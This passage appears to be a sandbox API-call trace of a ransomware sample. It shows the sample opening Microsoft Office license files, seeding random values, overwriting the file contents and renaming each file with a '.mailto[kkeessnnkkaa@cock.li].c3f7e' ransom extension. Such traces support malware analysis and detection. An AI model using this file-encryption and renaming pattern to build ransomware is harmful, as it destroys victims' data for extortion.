	[0086.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms", dwFileAttributes=0x20) returned 1
	[0086.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1968
	[0086.886] GetFileSizeEx (in: hFile=0x1968, lpFileSize=0x2a83fbb8 | out: lpFileSize=0x2a83fbb8*=10619) returned 1
	[0086.886] SetFilePointerEx (in: hFile=0x1968, liDistanceToMove=0x2977, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.886] ReadFile (in: hFile=0x1968, lpBuffer=0x2a83fb3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a83fb38, lpOverlapped=0x0 | out: lpBuffer=0x2a83fb3c*, lpNumberOfBytesRead=0x2a83fb38*=0x4, lpOverlapped=0x0) returned 1
	[0086.891] SetFilePointerEx (in: hFile=0x1968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.891] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.891] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0086.891] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0086.891] NtQuerySystemTime (in: CurrentTime=0x2a83fb18 | out: CurrentTime=0x2a83fb18*=132251868136319270) returned 0x0
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x78c44efb
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0xc8dfad3a
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x46a51fad
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x82739f7a
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x75992a30
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0xea9dff19
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x887fe5a1
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x636ea679
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0xaf5f24fb
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0xd858fca3
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x715d8c87
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0xb1e4c0ef
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x7d43edc0
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x6e9cd088
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x204b7722
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x31b4820c
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x64480c6e
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x683b16e
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x1bf4d95
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x66bfe108
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x50e2c26c
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x8345b4fb
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0xd3c9b719
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x147a1b0a
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x1f027b64
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x991c6fb5
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x9cb0a64f
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0xd5c51935
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0xf257fe3d
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0xd7838857
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0xd720f570
	[0086.891] RtlRandom (in: Seed=0x2a83fb24 | out: Seed=0x2a83fb24) returned 0x41a56c10
	[0086.898] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0086.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0086.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0086.900] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1
	[0086.900] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0086.900] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0086.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47534d0
	[0086.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0086.900] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0086.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x496b830
	[0086.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4978038
	[0086.900] ReadFile (in: hFile=0x1968, lpBuffer=0x496b830, nNumberOfBytesToRead=0x297b, lpNumberOfBytesRead=0x2a83fb14, lpOverlapped=0x0 | out: lpBuffer=0x496b830*, lpNumberOfBytesRead=0x2a83fb14*=0x297b, lpOverlapped=0x0) returned 1
	[0086.901] SetFilePointerEx (in: hFile=0x1968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.901] WriteFile (in: hFile=0x1968, lpBuffer=0x4978038*, nNumberOfBytesToWrite=0x297b, lpNumberOfBytesWritten=0x2a83fb10, lpOverlapped=0x0 | out: lpBuffer=0x4978038*, lpNumberOfBytesWritten=0x2a83fb10*=0x297b, lpOverlapped=0x0) returned 1
	[0086.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0086.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0086.903] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0086.903] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4978038) returned 1
	[0086.903] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x496b830) returned 1
	[0086.903] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47534d0) returned 1
	[0086.903] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0086.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x37) returned 0x477b2e8
	[0086.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0086.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753db8
	[0086.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0086.903] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0086.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x37) returned 0x477af68
	[0086.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0086.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0086.903] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0086.903] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753db8) returned 1
	[0086.903] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0086.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11b) returned 0x2d5c040
	[0086.903] SetFilePointerEx (in: hFile=0x1968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.903] WriteFile (in: hFile=0x1968, lpBuffer=0x2d5c040*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x2a83fb78, lpOverlapped=0x0 | out: lpBuffer=0x2d5c040*, lpNumberOfBytesWritten=0x2a83fb78*=0x11b, lpOverlapped=0x0) returned 1
	[0086.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c040) returned 1
	[0086.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477af68) returned 1
	[0086.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0086.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477b2e8) returned 1
	[0086.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0086.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0086.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0086.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0086.905] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x2e44980
	[0086.905] wcscpy (in: _Dest=0x2e44980, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms"
	[0086.905] wcscat (in: _Dest=0x2e44980, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.905] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a83fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.905] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x4752ff0
	[0086.905] NtSetInformationFile (FileHandle=0x1968, IoStatusBlock=0x2a83fb28, FileInformation=0x4752ff0, Length=0xec, FileInformationClass=0xa) returned 0x0
	[0086.906] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ff0) returned 1
	[0086.906] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767320) returned 1
	[0086.906] NtQueryInformationFile (in: FileHandle=0x1968, IoStatusBlock=0x2a83fb3c, FileInformation=0x2a83fb14, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a83fb3c, FileInformation=0x2a83fb14) returned 0x0
	[0086.906] NtSetInformationFile (FileHandle=0x1968, IoStatusBlock=0x2a83fb3c, FileInformation=0x2a83fb14, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44980) returned 1
	[0086.907] FlushFileBuffers (hFile=0x1968) returned 1
	[0093.105] CloseHandle (hObject=0x1968) 

Thread:
	id = 1220
	os_tid = 0xdc8


Thread:
	id = 1221
	os_tid = 0x1530


Thread:
	id = 1222
	os_tid = 0x1554


Thread:
	id = 1223
	os_tid = 0x1384


Thread:
	id = 1224
	os_tid = 0x1f84

	[0087.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 0x220
	[0087.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms", dwFileAttributes=0x20) returned 1
	[0087.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b18
	[0087.895] GetFileSizeEx (in: hFile=0x1b18, lpFileSize=0x2a8bfa08 | out: lpFileSize=0x2a8bfa08*=6795) returned 1
	[0087.895] SetFilePointerEx (in: hFile=0x1b18, liDistanceToMove=0x1a87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.896] ReadFile (in: hFile=0x1b18, lpBuffer=0x2a8bf98c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a8bf988, lpOverlapped=0x0 | out: lpBuffer=0x2a8bf98c*, lpNumberOfBytesRead=0x2a8bf988*=0x4, lpOverlapped=0x0) returned 1
	[0087.897] SetFilePointerEx (in: hFile=0x1b18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.897] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0087.897] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0087.897] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0087.897] NtQuerySystemTime (in: CurrentTime=0x2a8bf968 | out: CurrentTime=0x2a8bf968*=132251868146319846) returned 0x0
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x3c808e2c
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x4c382303
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0xfa947cea
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x3b9944cb
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0xffe2bad8
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0xe8ab75f4
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x80ee40f4
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0xecac0727
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0xef83184e
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x1232a6e6
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x4c50227a
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0xb91c2e74
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x9a85e47
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x32b55953
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x83dd8f1b
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0xffeb77f3
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x4625be3b
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x56656a62
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x17f63c
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x872da9d2
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0xb62ff00a
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x9297e71b
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x6df0d4a2
	[0087.897] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0xb7f447a1
	[0087.898] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0xabdb092a
	[0087.898] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0xf079421a
	[0087.898] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x5a83d50d
	[0087.898] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x2e2fa8d7
	[0087.898] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x9ad29cb
	[0087.898] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0xa664beab
	[0087.898] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0xba56f675
	[0087.898] RtlRandom (in: Seed=0x2a8bf974 | out: Seed=0x2a8bf974) returned 0x9462167b
	[0087.906] ReadFile (in: hFile=0x1b18, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0x1a8b, lpNumberOfBytesRead=0x2a8bf964, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x2a8bf964*=0x1a8b, lpOverlapped=0x0) returned 1
	[0087.907] SetFilePointerEx (in: hFile=0x1b18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.907] WriteFile (in: hFile=0x1b18, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0x1a8b, lpNumberOfBytesWritten=0x2a8bf960, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x2a8bf960*=0x1a8b, lpOverlapped=0x0) returned 1
	[0087.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0087.909] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0087.909] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0087.909] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.909] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0087.909] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.909] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.909] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2dfb3d8
	[0087.909] SetFilePointerEx (in: hFile=0x1b18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.909] WriteFile (in: hFile=0x1b18, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x2a8bf9c8, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2a8bf9c8*=0x11d, lpOverlapped=0x0) returned 1
	[0087.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb0c0) returned 1
	[0087.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0087.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0087.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0087.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0087.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0087.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0087.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2e44980
	[0087.910] wcscpy (in: _Dest=0x2e44980, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms"
	[0087.910] wcscat (in: _Dest=0x2e44980, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.910] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2a8bf980, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x2d89948
	[0087.911] NtSetInformationFile (FileHandle=0x1b18, IoStatusBlock=0x2a8bf978, FileInformation=0x2d89948, Length=0xee, FileInformationClass=0xa) returned 0x0
	[0087.911] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89948) returned 1
	[0087.911] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767320) returned 1
	[0087.911] NtQueryInformationFile (in: FileHandle=0x1b18, IoStatusBlock=0x2a8bf98c, FileInformation=0x2a8bf964, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a8bf98c, FileInformation=0x2a8bf964) returned 0x0
	[0087.911] NtSetInformationFile (FileHandle=0x1b18, IoStatusBlock=0x2a8bf98c, FileInformation=0x2a8bf964, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44980) returned 1
	[0087.912] FlushFileBuffers (hFile=0x1b18) returned 1
	[0093.245] CloseHandle (hObject=0x1b18) 

Thread:
	id = 1225
	os_tid = 0x1f90

	[0087.906] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x476e0c8
	[0087.906] wcscpy (in: _Dest=0x476e0c8, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Health Advisor" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Health Advisor") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Health Advisor"
	[0087.906] wcscat (in: _Dest=0x476e0c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Health Advisor\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Health Advisor\\"
	[0087.906] wcscat (in: _Dest=0x476e0c8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Health Advisor\\*") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Health Advisor\\*"
	[0087.907] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f27548
	[0087.907] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Health Advisor\\*", lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0fb9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b5a8
	[0087.908] wcscmp (_String1=".", _String2=".") returned 0
	[0087.908] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0fb9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.911] wcscmp (_String1="..", _String2=".") returned 1
	[0087.911] wcscmp (_String1="..", _String2="..") returned 0
	[0087.911] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0fb9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0087.913] FindClose (in: hFindFile=0x477b5a8 | out: hFindFile=0x477b5a8) returned 1
	[0087.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f27548) returned 1
	[0087.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e0c8) returned 1
	[0087.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498cf98) returned 1

Thread:
	id = 1226
	os_tid = 0x1f94

	[0087.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83120
